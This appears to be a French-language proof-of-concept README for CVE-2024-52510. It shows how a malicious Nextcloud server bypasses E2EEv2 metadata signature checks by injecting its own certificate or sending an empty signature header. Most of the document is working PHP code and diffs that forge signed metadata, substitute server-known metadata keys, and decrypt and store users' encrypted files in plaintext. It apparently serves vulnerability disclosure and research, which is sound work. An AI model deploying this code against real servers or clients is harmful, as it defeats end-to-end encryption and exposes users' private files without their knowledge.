
Preuve de concept pour CVE-2024-52510 démontrant un contournement de signature dans le protocole E2EEv2 de Nextcloud, permettant le déchiffrement côté serveur de fichiers chiffrés via l'injection de clés de métadonnées.
Pendant le fonctionnement normal du protocole E2EEv2 de Nextcloud, les clients signent cryptographiquement les métadonnées de dossier avant de les téléverser vers le serveur. Cela garantit que les métadonnées n'ont pas été altérées lorsqu'elles sont récupérées pour les besoins du partage de fichiers ou de la synchronisation des modifications.
La vérification de la signature est effectuée par le client dans
foldermetadata.cpp:177
lorsque les métadonnées récupérées sont initialisées. Cependant, il existe deux façons pour un serveur malveillant de contourner cette vérification :
Il peut répondre avec un en-tête X-E2EE-SIGNATURE vide. Puisque l'en-tête est vide, la condition à la ligne
foldermetadata.cpp:168
fait que la vérification de signature n'a pas lieu, et les métadonnées modifiées
sont acceptées par le client.
Il peut injecter un certificat dans le tableau JSON users, puis signer
les métadonnées avec ce certificat. Puisque CMS_NO_SIGNER_CERT_VERIFY est
passé à la ligne
clientsideencryption.cpp:941,
le certificat de signature n'est pas vérifié dans la chaîne et le client vérifie seulement
que le certificat de signature est présent dans le vecteur certificatePems
(clientsideencryption.cpp:955-971)
qui est contrôlé par le serveur.
Dans cette POC, nous démontrerons la deuxième méthode car elle est la plus difficile à implémenter, mais les deux ont été testées et fonctionnent.
Un serveur malveillant peut utiliser ce contournement pour fournir aux clients des clés de métadonnées connues du serveur. Les clients utiliseront ensuite cette clé de métadonnées pour chiffrer les fichiers suivants, permettant au serveur de déchiffrer et de lire les fichiers dans les dossiers chiffrés de bout en bout.
Cette façon d'exploiter le contournement de signature est basée sur une attaque découverte par Albrecht, Backendal, Coppola, Paterson en 2023 (https://eprint.iacr.org/2024/546) sur une version antérieure du protocole E2EE. En effet, l'authentification des clés de métadonnées était une stratégie d'atténuation pour l'attaque (voir la section 5.1 de l'article lié).
Clonez ce dépôt, et ouvrez-le dans VS Code en utilisant l'extension DevContainer. Un DevContainer basé sur celui du dépôt du serveur Nextcloud a été fourni avec les modifications suivantes :
mitmproxy est présent sur le port 7001. L'interface web est accessible sur le port 7002.encryption et end_to_end_encryption seront également activées, et un compte avec le nom d'utilisateur et le mot de passe sharer sera créé.Une fois le serveur opérationnel, connectez-vous-y à http://localhost:8000 (ou via le proxy inverse à http://localhost:7001) en utilisant le dernier client. Actuellement, j'ai testé cela sur l'AppImage v3.13.2.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
Lorsque vous y êtes invité, connectez-vous avec le nom d'utilisateur sharer et le mot de passe sharer. Acceptez les options de synchronisation par défaut (création d'un répertoire ~/Nextcloud/ avec welcome.txt à l'intérieur), et configurez le chiffrement de bout en bout dans les paramètres du client Nextcloud.
Créez un nouveau dossier encrypted_folder dans le répertoire ~/Nextcloud. Dans les paramètres du client Nextcloud, marquez ce dossier comme chiffré.

Nextcloud/encrypted_folder, créez un simple fichier texte et attendez qu'il se synchronise.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Connectez-vous à la base de données Postgres dans Adminer à http://localhost:8080/ en utilisant les identifiants :
postgrespostgrespostgreset naviguez vers les tables oc_e2e_encryption_metadata et oc_e2e_encryption_decrypted. Vous devriez pouvoir voir les métadonnées déchiffrées et le contenu des fichiers en clair.

Les captures d'écran ci-dessus ont eu quelques fichiers de test supplémentaires créés et supprimés, donc elles seront légèrement différentes de ce que vous voyez.
Ce dépôt est basé sur les dépôts Nextcloud server et application de chiffrement de bout en bout. La plupart du code reste inchangé, je vais donc essayer d'expliquer ce qui a été modifié.
Tout d'abord, la méthode getMetadata de MetaDataStorage.php a été modifiée pour
altérer les métadonnées renvoyées en appelant une nouvelle méthode getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
Dans la méthode getFakeUserMetadata, nous injectons d'abord un certificat choisi dans la clé JSON users. Cela permet de faciliter la contrefaçon de signature.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* Ce n'est pas une métadonnée racine. Renvoyer normalement */
return json_encode($metaData);
}
/*
* Étape 1 : Injecter une fausse clé publique dans les métadonnées
* Cela peut être utilisé pour forger une signature pour la réponse.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Créer une nouvelle clé privée pour l'utilisateur factice */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Le client attend un certificat pour la clé publique */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
Ensuite, comme nous avons accès à la clé publique du client, nous pouvons chiffrer nos propres clés et remplacer les clés de métadonnées chiffrées par des clés que nous contrôlons.
/*
* Étape 2 : Modifier toutes les clés de métadonnées par des clés que nous contrôlons.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* Nous devons définir userId après avoir défini encryptedMetadataKey, car Qt sérialisera les clés JSON par ordre alphabétique */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
Puisque nous avons altéré les clés de métadonnées, nous devrons également modifier le texte chiffré. Si nous avons déjà exécuté l'attaque avec succès, nous aurons accès aux métadonnées réelles que nous pourrons rechiffrer. Sinon, nous initialiserons un objet de métadonnées vide et le chiffrerons.
/*
* Étape 3 : Remplacer les métadonnées chiffrées par des métadonnées pouvant être déchiffrées avec la nouvelle clé.
* Ensuite, tant que nous ne déclenchons pas de synchronisation descendante, la prochaine requête PUT
* contiendra des métadonnées chiffrées avec une clé que nous connaissons.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Renvoyer des métadonnées vides */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums doit contenir le SHA256 de la clé de métadonnées déchiffrée (en hexadécimal) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Ensuite, le texte chiffré AES-128-GCM de l'objet JSON compressé (gzip) est placé dans la réponse */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Assurer que les métadonnées que nous renvoyons correspondent à celles stockées sur le disque */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
Enfin, nous prenons la charge utile JSON altérée et la signons à nouveau avec notre certificat. Une alternative serait également d'utiliser une signature vide ici.
/* Note : Nous n'avons besoin de forger une signature que pour les métadonnées racine */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
Une fois les métadonnées altérées, le client utilisera notre clé de chiffrement pour chiffrer toute nouvelle métadonnée. À la réception de toute nouvelle métadonnée, nous essayons de la déchiffrer avec notre clé.
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('Vous n\'êtes pas autorisé à modifier le fichier, assurez-vous d\'abord de le verrouiller, puis d\'envoyer le bon jeton'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Essayer de déchiffrer les métadonnées entrantes avec notre fausse clé */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* Si nous réussissons, stocker les métadonnées déchiffrées */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
Enfin, nous créons un écouteur pour la création de nouveaux fichiers, et essayons de déchiffrer en utilisant les clés de fichier trouvées dans les métadonnées déchiffrées.
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Métadonnées trouvées : essayer de déchiffrer */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Déchiffrement réussi. Stocker dans la base de données */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}